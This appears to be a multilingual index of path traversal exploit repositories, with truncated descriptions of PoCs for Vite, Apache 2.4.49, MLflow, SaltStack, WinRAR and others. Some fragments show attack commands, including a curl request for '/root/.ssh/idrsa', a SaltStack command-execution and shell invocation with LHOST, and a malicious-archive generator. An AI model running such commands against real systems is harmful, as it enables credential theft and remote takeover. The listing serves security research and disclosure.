Path-Transversal-CVE-2025-31125-

Vite Exploit CVE-2025-31125 Descrizione: Sfrutta il path traversal nell'endpoint @fs del server di sviluppo Vite CVE-2025-31125 per accedere a file sensibili come /etc/passwd e /etc/hosts tramite URL modificati. Creato da Harsh Gupta. Uso: python viteexploit.py -u http://target.com python...

CVE-2023-26469

CVE-2023-26469 REC PoC Questo repository contiene uno script di exploit per CVE-2023-26469, che consente a un attaccante di sfruttare il path traversal per accedere ai file ed eseguire codice su un server che esegue Jorani 1.0.0. Inoltre, lo script include la funzionalità di upload di shell per...

CVE-2019-5418

CVE-2019-5418: Ruby on Rails Path Traversal & beliebiges Dateilesen Dieses Projekt ist eine Umgebung zum Üben und Reproduzieren der Local File Inclusion-Schwachstelle CVE-2019-5418 in Ruby on Rails. Die Schwachstelle ermöglicht es, durch Path Traversal über den Accept-Header beliebige Dateien im...

CVE-2021-41773-PoC

CVE-2021-41773 Vulnerabilità di path traversal e divulgazione di file in Apache HTTP Server 2.4.49 Questo script testa Apache HTTP Server 2.4.49 Uso: Opzioni di CVE-2021-41773.py Solo per un singolo IP: python CVE-2021-41773.py IPaddress Opzione -f Per elenco di IP in un file Esempio: python...

CVE-2022-39838

CVE-2022-39838 الوصف المقترح Systematica FIX Adapter ALFAFX 2.4.0.25 13/09/2017 يسمح بتضمين ملفات عن بُعد عبر اسم مسار مشاركة UNC، كما يسمح بعبور المسار المطلق إلى مسارات محلية. معلومات إضافية PoC: http://192.168.88.11:8888/info?page=logfile&file=C:\Windows\System32\drivers\etc\hosts...

CVE-2023-1177

CVE-2023-1177 | | MLFlow Pfad-Traversal | Getestet auf MLflow 2.2.0 | Quelle: https://github.com/iumiro/CVE-2023-1177-MLFlow | .. code-block:: bash !/bin/bash RAND="EXPLOIT-$1+$RANDOM%9999" URL="http://172.17.0.2:6001" FILE='/root/.ssh/idrsa' curl -vX POST...

CVE-2019-19654

CVE-2019-19654 Chevereto Denial of Service - = 3.13.5 Core im /dashboard/bulk Tool. Ein Angreifer mit einem Admin-Konto kann jeden Pfad einfügen. Der Bulk-Importer entfernt jede Datei und jeden Ordner, auf die er Zugriff hat. Im Grunde kannst du die Website zur Selbstzerstörung bringen. Job zum...

trellix-tarslip-patch-bypass

trellix-tarslip-patch-bypass Em 2023, a Trellix anunciou 1 que corrigiu +61.000 projetos de código aberto para CVE-2007-4559, uma antiga vulnerabilidade de path traversal. Analisando o patch, é fácil notar que ele pode ser contornado usando um symlink. O path traversal por symlink é uma técnica...

LayarKacaSiber-CVE-2021-41773

CVE-2021-41773 - Apache HTTP Server 2.4.49 Come eseguire il lab CVE-2021-41773-Path Traversal 1. Installa ed esegui Docker sul tuo PC/Laptop 2. Clona questa repository github 3. Vai nella cartella Path Traversal 4. Inserisci i seguenti comandi docker build -t cve-2021-41773-path-traversal . e...

CVE-2024-27954

CVE-2024-27954 📝 CVE-2024-27954 - Vulnerabilità di Path Traversal e SSRF nel plugin WP Automatic Descrizione Una vulnerabilità di Limitazione Impropria di un Percorso a una Directory Ristretta 'Path Traversal' esiste nel plugin WP Automatic, consentendo attacchi di Path Traversal e Server-Side...

CVE-2007-4559

demonstração do CVE-2007-4559 o que é isto? Isto é uma demonstração de como o tratamento padrão do python da extração de ficheiros tar antes do python v3.11.4 é vulnerável a um simples ataque de symlink. As instruções abaixo descrevem como criar um payload malicioso. O script untar.py demonstra...

Mini_httpd-CVE-2018-18778

Vulnerabilidade de leitura arbitrária de arquivos no minihttpd CVE-2018-18778 Minihttpd é um servidor HTTP mínimo que, consumindo poucos recursos do sistema, consegue manter um certo nível de desempenho cerca de 90% do Apache; por isso, é amplamente utilizado por diversos dispositivos IoT...

CVE-2026-54520

CVE-2026-54520 سمحت خطوة ملف سير العمل ai-agent-automation باجتياز المسار الذي يسمح بالقراءة/الكتابة خارج الدليل المتوقع. الإعلان الأساسي: GHSA-cm8g-8jfq-887p ائتمان الباحث: @chaitanyagarware في لمحة...

CVE-2023-37739---Path-Traversal-in-i-doit-Pro-25-and-below

CVE-2023-37739 - Path Traversal in i-doit Pro 25 e versioni precedenti i-doit Pro 25 e versioni precedenti sono vulnerabili a una vulnerabilità di Path Traversal. Queste vulnerabilità potrebbero consentire a utenti remoti autenticati con privilegi bassi o alti di navigare verso posizioni che non...

CVE-2018-20250

exp per Estrarre l'esecuzione di codice da Winrar poc di Ridter come si usa? ti basta installare python 3.7, preparare un file dannoso che vuoi eseguire, impostare i valori che vuoi, questo script exp genererà automaticamente il file di archivio malevolo! 1. imposta i valori che vuoi root@kitploi...

CVE-2026-37066

CVE-2026-37066 Path Traversal, die zu beliebigem Dateilesen führt, in /vfm-admin/index.php und /vfm-admin/ajax/streamvid.php in Veno File Manager Project 4.4.9 ermöglicht einem authentifizierten Angreifer mit Superadministrator-Rolle, vertrauliche Informationen über zwei speziell gestaltete...

Preproduce-CVE-2021-41773

Riproduzione di CVE 2021-41773 Vulnerabilità di path traversal e divulgazione di file in Apache HTTP Server 2.4.49 CVE-2021-41773 POC root@kitploit: $ docker compose up Conferma che funziona root@kitploit: $ curl -I http://localhost HTTP/1.1 200 OK Date: Wed, 06 Oct 2021 13:25:18 GMT Server:...

CVE-2025-30208-PoC

Dichiarazione di esonero di responsabilità: La vulnerabilità descritta in questo documento e le relative procedure di riproduzione sono fornite esclusivamente a scopo di ricerca e formazione sulla sicurezza informatica. Nessuno è autorizzato a utilizzare le informazioni qui contenute per scopi...

CVE-2020-11652

SaltStack-Exp CVE-2020-11651 CVE-2020-11652 Esegui su Master: root@kitploit: python exp.py --exec-choose master --exec-cmd "whoami" Esegui su Minions: root@kitploit: python exp.py --exec-choose minions --exec-cmd "whoami" Ottieni Shell: root@kitploit: python exp.py --shell-LHOST 8.8.8.8...

CVE-2026-50181

CVE-2026-50181 L'attraversamento del percorso in Langroid negli strumenti file ha consentito la lettura/scrittura al di fuori della directory corrente configurata. Avviso principale: GHSA-fg23-3346-88f5 Database degli advisory GitHub: github.com/advisories/GHSA-fg23-3346-88f5 Crediti del...